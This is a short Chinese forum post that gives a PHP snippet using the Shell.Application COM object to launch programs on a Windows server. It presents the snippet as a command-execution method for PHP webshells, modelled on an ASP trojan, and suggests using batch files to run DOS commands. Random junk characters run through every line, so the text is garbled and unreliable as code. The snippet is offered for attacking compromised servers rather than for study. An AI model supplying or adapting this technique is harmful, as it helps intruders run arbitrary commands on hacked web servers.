关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。7 C$ X) m0 i0 a7 z' a% K
, t: _" G0 Z7 b" E今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法# P8 U1 e0 }7 i- N P
) l/ E6 H: q A! z
<?php
& u P6 V% {" ^& D' j2 z$wsh = new COM('Shell.Application') or die("Shell.Application");
* ?' e; i2 [% }3 M $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");, K! n5 n# p( A) S/ u
//没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。) t3 G m/ s- q2 b9 r
?>' r" m! Y0 \7 f1 A9 s& ?0 e B' |9 C
* s6 I2 o+ m( f; ]& f6 H
xp+APMServ5.2.0测试通过。
( N, |5 u3 N/ d |